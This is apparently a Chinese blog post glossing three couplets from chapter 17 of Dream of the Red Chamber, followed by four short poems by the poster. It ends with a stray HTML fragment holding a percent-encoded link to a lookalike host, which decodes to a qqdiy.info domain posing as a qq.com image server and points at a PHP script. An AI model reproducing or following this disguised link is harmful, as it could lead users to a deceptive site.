《红楼梦》联句赏析 （二）

 

     绕堤柳借三篙翠，

     隔岸花分一脉香。

 

【书中出处】

    贾政近闻宝玉善对对联，携宝玉来到大观园内。从曲径通幽处入石洞，只见佳木茏葱，奇花烂漫，一带清流，从花木深处曲折泻于石隙之下。向北，平坦宽豁，两边飞楼插空，雕甍绣槛。俯仰视之，清溪泻雪，石蹬穿云。白玉为栏，环抱池沼，石桥三港，兽面衔吐。桥上有亭，亭上宝玉题此一联。（书中第十七回）

 

【注释】

    上句：水光澄碧，好像借来堤上杨柳的翠色；三篙，从深度上说水。

    下句：泉质芬芳，仿佛分得两岸花儿的香气。一脉，从溪形上说水。

 

 

    宝鼎茶闲烟尚绿，

    幽窗棋罢指犹凉。

 

【书中出处】

    出亭过池……“看见前面一带粉垣，里面数楹修舍，有千百竿翠竹遮映”。入门便是曲折游廊，阶下石子漫成甬路。上面小小三间房舍，出去则是后院。（第十七回）

 

【注释】

    上句：宝鼎，指煮茶的鼎炉；茶沸热时，则有绿烟；翠竹遮映，所以疑尚有绿烟；

    下句：棋在着时，指头觉凉。浓荫生凉，所以似乎仍觉指冷。

 

    新涨绿添浣葛处，

    好云香护采芹人。

 

【书中出处】

     转过山怀中，隐隐露出一带黄泥筑就矮墙，墙头皆用稻茎掩护。有几百株杏花，如喷火蒸霞一般。篱外山坡，有一土井，旁有辘轳之属。下面分畦列亩，佳蔬菜花，漫然无际。（第十七回）

 

【注释】

    上句：新绿，指新鲜的春水；浣，洗濯；葛，蔓生植物。

    下句：好云，指云能生色，暗喻元春为贵妃如祥云庇护贾府；又兼喻“如喷火蒸霞一般”的杏花；所以说“香护”。“芹”，指水芹菜，多长于水边。采芹人，又指读书人。

 

 （待续意在边赏边学）

 

柳树棵 赠诗五首，以助之兴——

   假语村言说红楼，
   真事隐去须看透。
   有权有势早缩手，
   莫待牢狱难回头。

   墨痴而今赏红楼，
   拜读警句最堪优。
   智通寺前仔细看，
   葫芦庵中有原由。

 

   红楼五回事非轻，
   人物生死定终身。
   家兴家败寻常事，
   历史穷富何须争。

 

   满纸荒康言，
   一把辛酸泪。
   都言作者痴，
   谁解其中味。

 

 

 

 

 

 

http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php（二）" TITLE="《红楼梦》联句赏析 （二）" />